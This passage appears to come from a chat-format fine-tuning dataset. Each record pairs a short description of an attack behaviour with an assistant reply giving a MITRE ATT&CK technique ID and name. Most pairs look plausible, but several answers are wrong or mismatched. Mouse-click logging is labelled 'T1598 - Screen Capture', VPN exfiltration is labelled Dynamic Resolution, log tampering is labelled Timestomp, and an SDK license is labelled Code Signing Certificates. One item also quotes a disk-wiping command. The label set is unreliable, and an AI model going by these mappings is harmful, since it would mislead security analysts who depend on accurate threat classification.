                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors employ Windows Management Instrumentation to spawn new processes stealthily via the Win32_Process Create method."
            },
            {
                "role": "assistant",
                "content": "T1047 - Windows Management Instrumentation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker exploited a known vulnerability in Confluence to bypass authentication and dump all wiki pages containing financial data."
            },
            {
                "role": "assistant",
                "content": "T1213.001 - Data from Information Repositories: Confluence"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors create a fast‑flux domain by dynamically updating DNS records to point to a constantly changing set of compromised hosts."
            },
            {
                "role": "assistant",
                "content": "T1568.001 - Dynamic Resolution: Fast Flux DNS"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using a PowerShell script, the intruder moves collected files to a private iCloud Drive folder for later retrieval."
            },
            {
                "role": "assistant",
                "content": "T1537 - Transfer Data to Cloud Account"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A ransomware variant searches the system for *.ost and *.pst files to steal email archives."
            },
            {
                "role": "assistant",
                "content": "T1114 - Email Collection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The actor conducts a privilege escalation attack by exploiting a race condition in the kernel, thereby evading defense mechanisms."
            },
            {
                "role": "assistant",
                "content": "T1211 - Exploitation for Defense Evasion"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary runs msiexec.exe with custom properties to execute a staged payload hidden inside an MSI package."
            },
            {
                "role": "assistant",
                "content": "T1218.007 - System Binary Proxy Execution: Msiexec"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Python is used to scrape the victim's file system for documents containing keywords like 'confidential' and exfiltrate them."
            },
            {
                "role": "assistant",
                "content": "T1059.006 - Command and Scripting Interpreter: Python"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Reflection amplification is achieved by sending QUIC packets to open servers that respond to the victim's IP, overwhelming the victim with amplified traffic."
            },
            {
                "role": "assistant",
                "content": "T1498.002 - Network Denial of Service: Reflection Amplification"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker boots a covert VM on the compromised host and performs data exfiltration from within the virtual environment."
            },
            {
                "role": "assistant",
                "content": "T1564.006 - Hide Artifacts: Run Virtual Instance"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker uses a compromised DNS resolver to modify responses, redirecting software updates to malicious versions."
            },
            {
                "role": "assistant",
                "content": "T1565.002 - Data Manipulation: Transmitted Data Manipulation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat actor sends a malicious URL to victims through direct messages on Twitter, prompting them to download a credential-stealing script."
            },
            {
                "role": "assistant",
                "content": "T1566.003 - Phishing: Spearphishing via Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By altering service file permissions, a threat actor can overwrite the legitimate service binary with a trojan, causing the service to run malicious code at startup."
            },
            {
                "role": "assistant",
                "content": "T1574.010 - Hijack Execution Flow: Services File Permissions Weakness"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious actor alters the default homepage in Outlook to a remote malicious site, leveraging the T1137.004 technique for code execution on startup."
            },
            {
                "role": "assistant",
                "content": "T1137.004 - Office Application Startup: Outlook Home Page"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary employs passive network traffic collection tools like Wireshark to capture and analyze broadcast packets, piecing together the network topology."
            },
            {
                "role": "assistant",
                "content": "T1590.004 - Gather Victim Network Information: Network Topology"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Red teamers craft a browser exploit chain that silently installs a remote access tool when a user visits a compromised site."
            },
            {
                "role": "assistant",
                "content": "T1587.004 - Develop Capabilities: Exploits"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker obtained a stolen code‑signing certificate from a software vendor and used it to sign a malicious DLL that would be loaded by the victim's application."
            },
            {
                "role": "assistant",
                "content": "T1553.002 - Subvert Trust Controls: Code Signing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A hacker leveraged an insecure backup service to retrieve server configuration files, then used those details to infiltrate the production environment."
            },
            {
                "role": "assistant",
                "content": "T1584.004 - Compromise Infrastructure: Server"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker uses a reflective loader to deserialize a malicious Java class from a network stream and run it in the JVM without writing files."
            },
            {
                "role": "assistant",
                "content": "T1620 - Reflective Code Loading"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious script uses the Windows \"shutdown.exe\" command with the /r flag to force a system reboot after encrypting files."
            },
            {
                "role": "assistant",
                "content": "T1529 - System Shutdown/Reboot"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor leverages a VPN connection to route exfiltrated data over an encrypted tunnel to a remote server."
            },
            {
                "role": "assistant",
                "content": "T1573 - Encrypted Channel"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An intrusion leverages a legitimate web‑based chat service, posting messages that contain encoded commands; compromised agents read the chat logs to receive instructions—an example of dead‑drop resolver usage."
            },
            {
                "role": "assistant",
                "content": "T1102.001 - Web Service: Dead Drop Resolver"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries create a named pipe to transfer data between a privileged service and a low‑privilege injected process."
            },
            {
                "role": "assistant",
                "content": "T1559 - Inter-Process Communication"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Phishing actors set up a look-alike web portal for a cloud service, capturing credentials when users attempt to sign in."
            },
            {
                "role": "assistant",
                "content": "T1056.003 - Input Capture: Web Portal Capture"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The technique involves abusing signed developer utilities as a proxy to execute arbitrary commands."
            },
            {
                "role": "assistant",
                "content": "T1127 - Trusted Developer Utilities Proxy Execution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors use credential‑dumping tools to extract usernames and passwords from compromised Outlook Web Access sessions."
            },
            {
                "role": "assistant",
                "content": "T1586.002 - Compromise Accounts: Email Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker uses the Windows utility `cipher /w:C:` to securely delete free space and effectively wipe the drive."
            },
            {
                "role": "assistant",
                "content": "T1561 - Disk Wipe"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker abuses the SSH daemon to execute a remote command that downloads additional payloads."
            },
            {
                "role": "assistant",
                "content": "T1021.004 - Remote Services: SSH"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An espionage campaign extracts email messages from the victim’s local Apple Mail archives."
            },
            {
                "role": "assistant",
                "content": "T1114.001 - Email Collection: Local Email Collection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious script queried the registry key HKLM\\SAM\\Domains\\Builtin to discover built-in groups."
            },
            {
                "role": "assistant",
                "content": "T1069.001 - Permission Groups Discovery: Local Groups"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious insider inserted a hidden hardware keylogger into the corporate laptop’s USB port to capture keystrokes."
            },
            {
                "role": "assistant",
                "content": "T1200 - Hardware Additions"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker creates a new domain user with administrative privileges in Active Directory to maintain persistence."
            },
            {
                "role": "assistant",
                "content": "T1136.002 - Create Account: Domain Account"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat actor utilizes the kerberoast module to request encrypted AS‑REP data for non‑pre‑authenticated users, then performs offline cracking to obtain Kerberos keys."
            },
            {
                "role": "assistant",
                "content": "T1558.004 - Steal or Forge Kerberos Tickets: AS-REP Roasting"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor encrypts harvested credentials and exfiltrates them over an HTTPS POST to a command-and-control server."
            },
            {
                "role": "assistant",
                "content": "T1567 - Exfiltration Over Web Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A hacker obtains a valid software development kit (SDK) license to embed malicious code into legitimate applications."
            },
            {
                "role": "assistant",
                "content": "T1587.002 - Develop Capabilities: Code Signing Certificates"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT group leveraged Dropbox's file upload endpoint to transfer stolen browser password databases from compromised workstations."
            },
            {
                "role": "assistant",
                "content": "T1567.002 - Exfiltration Over Web Service: Exfiltration to Cloud Storage"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Post-exploitation, the actor adjusted the timestamps of registry hives to hide recent changes made during the breach."
            },
            {
                "role": "assistant",
                "content": "T1070.006 - Indicator Removal: Timestomp"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware updates are delivered by connecting to a popular cloud provider's domain, then tunneling through it to reach the command server, a classic domain fronting technique."
            },
            {
                "role": "assistant",
                "content": "T1090.004 - Proxy: Domain Fronting"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware collects stored domain password hashes from the LSA secrets cache for credential reuse."
            },
            {
                "role": "assistant",
                "content": "T1003.005 - OS Credential Dumping: Cached Domain Credentials"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT group escalates privileges by exploiting vulnerable service permissions to run arbitrary code."
            },
            {
                "role": "assistant",
                "content": "T1569 - System Services"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker crafts a malicious PDF that, when opened, executes a script to read the clipboard and post it to a C2 channel."
            },
            {
                "role": "assistant",
                "content": "T1115 - Clipboard Data"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion involved authenticating with the default credentials of a network switch that had not been hardened."
            },
            {
                "role": "assistant",
                "content": "T1078.001 - Valid Accounts: Default Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary delivers a .lnk file whose icon is a benign image, while the shortcut’s target points to a malicious DLL hidden in an alternate data stream."
            },
            {
                "role": "assistant",
                "content": "T1027.012 - Obfuscated Files or Information: LNK Icon Smuggling"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Phishing SMS messages contain a link to a malicious APK that the user downloads and installs on their Android device."
            },
            {
                "role": "assistant",
                "content": "T1204 - User Execution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "After achieving persistence, the attacker issues \"Clear-History\" in the PowerShell session to eliminate evidence of executed commands."
            },
            {
                "role": "assistant",
                "content": "T1070.003 - Indicator Removal: Clear Command History"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker uses open Redis instances, sending PING commands with a spoofed source IP, resulting in amplified UDP responses toward the victim."
            },
            {
                "role": "assistant",
                "content": "T1498.002 - Network Denial of Service: Reflection Amplification"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A phishing email delivers a malicious .exe file disguised as a legitimate installer, and the target runs it, resulting in malicious code execution on the system."
            },
            {
                "role": "assistant",
                "content": "T1204.002 - User Execution: Malicious File"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actor logs into Confluence with stolen credentials and manually exports entire spaces to a local archive."
            },
            {
                "role": "assistant",
                "content": "T1213.001 - Data from Information Repositories: Confluence"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intruder accesses the target’s proxy server configuration to determine allowed outbound destinations."
            },
            {
                "role": "assistant",
                "content": "T1590.006 - Gather Victim Network Information: Network Security Appliances"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious code uses the S3 API to enumerate objects in a public bucket, searching for credentials."
            },
            {
                "role": "assistant",
                "content": "T1619 - Cloud Storage Object Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion leverages the Security Support Provider Interface to achieve persistent execution."
            },
            {
                "role": "assistant",
                "content": "T1547.005 - Boot or Logon Autostart Execution: Security Support Provider"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious code reads the application's config.yaml file to retrieve hard‑coded API keys used for subsequent requests."
            },
            {
                "role": "assistant",
                "content": "T1552.001 - Unsecured Credentials: Credentials In Files"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware opened a VNC server on the victim machine and connected to it from a command and control server."
            },
            {
                "role": "assistant",
                "content": "T1021.005 - Remote Services: VNC"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A backdoor copies database dumps to a hidden directory, then exfiltrates them via an authorized S3 bucket."
            },
            {
                "role": "assistant",
                "content": "T1567.002 - Exfiltration Over Web Service: Exfiltration to Cloud Storage"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker distributes a trojan on a USB stick that, upon insertion, reads local files and writes them to the removable media for later collection."
            },
            {
                "role": "assistant",
                "content": "T1092 - Communication Through Removable Media"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using VPNs for encrypted data exfiltration and anonymity"
            },
            {
                "role": "assistant",
                "content": "T1568 - Dynamic Resolution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor bought proprietary schematics for a target's hardware from an underground marketplace."
            },
            {
                "role": "assistant",
                "content": "T1597.002 - Search Closed Sources: Purchase Technical Data"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using a deserialization flaw in a Java‑based REST API exposed to the internet, the attacker executed malicious code on the backend system."
            },
            {
                "role": "assistant",
                "content": "T1190 - Exploit Public-Facing Application"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors harvested Google Cloud service account keys from a misconfigured IAM policy to exfiltrate data."
            },
            {
                "role": "assistant",
                "content": "T1586.003 - Compromise Accounts: Cloud Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversary leverages the \"docker inspect\" command to extract configuration and mount points of containers."
            },
            {
                "role": "assistant",
                "content": "T1613 - Container and Resource Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary tampers with SSL/TLS traffic after stripping encryption to inject payloads."
            },
            {
                "role": "assistant",
                "content": "T1565.002 - Data Manipulation: Transmitted Data Manipulation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware issues a 'netstat -rn' command to discover the system's routing table and default gateway."
            },
            {
                "role": "assistant",
                "content": "T1016 - System Network Configuration Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious program reads the LSA Secrets stored under %SystemRoot%\\System32\\config\\SECURITY to harvest credentials."
            },
            {
                "role": "assistant",
                "content": "T1003.004 - OS Credential Dumping: LSA Secrets"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious app monitors and records all mouse movements and click coordinates, storing the data for later retrieval."
            },
            {
                "role": "assistant",
                "content": "T1598 - Screen Capture"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Compromise of a silicon wafer supplier's production line introduces a backdoor at the silicon level, persisting across all chips shipped."
            },
            {
                "role": "assistant",
                "content": "T1195.003 - Supply Chain Compromise: Compromise Hardware Supply Chain"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Manipulating system logs to remove evidence of malicious activity"
            },
            {
                "role": "assistant",
                "content": "T1070.006 - Indicator Removal: Timestomp"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker leverages a man‑in‑the‑middle proxy to alter the challenge‑response exchange of a hardware token, causing it to accept forged responses."
            },
            {
                "role": "assistant",
                "content": "T1556.006 - Modify Authentication Process: Multi-Factor Authentication"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors exploit a trusted relationship between a managed security service provider and the victim to exfiltrate data."
            },
            {
                "role": "assistant",
                "content": "T1199 - Trusted Relationship"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A trojan creates a child process under svchost.exe, then deletes svchost.exe from the tree, effectively masquerading the trojan as a standalone system process."
            },
            {
                "role": "assistant",
                "content": "T1036.009 - Masquerading: Break Process Trees"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor altered the file metadata so that Windows displayed the file as an image (.jpg) while the file's content was a malicious binary, employing T1036.008."
            },
            {
                "role": "assistant",
                "content": "T1036.008 - Masquerading: Masquerade File Type"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attacker used custom XOR encryption to hide the contents of a PowerShell script, storing the encrypted blob in the registry and decrypting it at runtime."
            },
            {
                "role": "assistant",
                "content": "T1027 - Obfuscated Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A post‑infection script searches for Microsoft Outlook cache files (*.pst, *.ost) and archives them."
            },
            {
                "role": "assistant",
                "content": "T1114.001 - Email Collection: Local Email Collection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious actor exploits a remote file inclusion flaw to install a hidden web shell in the server's web root directory."
            },
            {
                "role": "assistant",
                "content": "T1505.003 - Server Software Component: Web Shell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion script calls WMI class Win32_Service to enumerate services on a remote host."
            },
            {
                "role": "assistant",
                "content": "T1007 - System Service Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious script calls the Windows API NetGroupEnum to list domain groups on the compromised host."
            },
            {
                "role": "assistant",
                "content": "T1069.002 - Permission Groups Discovery: Domain Groups"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By sending oversized ICMP packets to a vulnerable network stack, the attacker causes the endpoint to become unresponsive."
            },
            {
                "role": "assistant",
                "content": "T1499.004 - Endpoint Denial of Service: Application or System Exploitation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
